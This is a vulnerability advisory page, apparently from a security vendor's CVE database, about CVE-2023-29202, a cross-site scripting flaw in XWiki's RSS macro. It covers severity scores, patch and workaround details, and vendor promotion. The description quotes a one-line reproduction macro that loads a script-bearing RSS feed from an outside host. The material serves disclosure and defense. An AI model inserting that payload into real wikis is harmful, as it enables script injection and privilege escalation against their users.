CVE-2023-29202 is a critical-severity (CVSS 9) Cross-site Scripting (XSS) vulnerability in org.xwiki.platform:xwiki-core-rendering-macro-rss. 2 public exploit references exist, so weaponization risk is real. A fix is available for org.xwiki.platform:xwiki-core-rendering-macro-rss — see the affected versions and patch details below.
org.xwiki.platform:xwiki-platform-rendering-macro-rss Cross-site Scripting vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-29202.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2023-29202 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
org.xwiki.platform:xwiki-core-rendering-macro-rss☕org.xwiki.platform:xwiki-platform-rendering-macro-rssReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Impact
The RSS macro that is bundled in XWiki included the content of the feed items without any cleaning in the HTML output when the parameter content was set to true. This allowed arbitrary HTML and in particular also JavaScript injection and thus cross-site scripting (XSS) by specifying an RSS feed with malicious content. With the interaction of a user with programming rights, this could be used to execute arbitrary actions in the wiki, including privilege escalation, remote code execution, information disclosure, modifying or deleting content and sabotaging the wiki.
The issue can be reproduced by inserting the following XWiki syntax in any wiki page like the user account:
{{rss feed="https://xssrss.blogspot.com/feeds/posts/default?alt=rss" content="true" /}}
If an alert is displayed when viewing the page, the wiki is vulnerable.
Patches
The issue has been patched in XWiki 14.6 RC1, the content of the feed is now properly cleaned before being displayed.
Workarounds
If the RSS macro isn't used in the wiki, the macro can be uninstalled by deleting WEB-INF/lib/xwiki-platform-rendering-macro-rss-XX.jar, where XX is XWiki's version, in the web application's directory.
References
- https://github.com/xwiki/xwiki-platform/commit/5c7ebe47c2897e92d8f04fe2e15027e84dc3ec03
- https://jira.xwiki.org/browse/XWIKI-19671
For more information
If you have any questions or comments about this advisory:
- Open an issue in Jira XWiki.org
- Email us at Security Mailing List
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.xwiki.platform:xwiki-core-rendering-macro-rss | ≥ 1.8 | No fix |
| ☕Maven | org.xwiki.platform:xwiki-platform-rendering-macro-rss | all versions | 14.6-rc-1org.xwiki.platform:xwiki-platform-rendering-macro-rss:14.6-rc-1 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.xwiki.platform:xwiki-core-rendering-macro-rss, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
No patched version of org.xwiki.platform:xwiki-core-rendering-macro-rss has shipped for CVE-2023-29202 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2023-29202 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2023-29202. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2023-29202 in your dependencies?
O3 Security finds CVE-2023-29202 across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.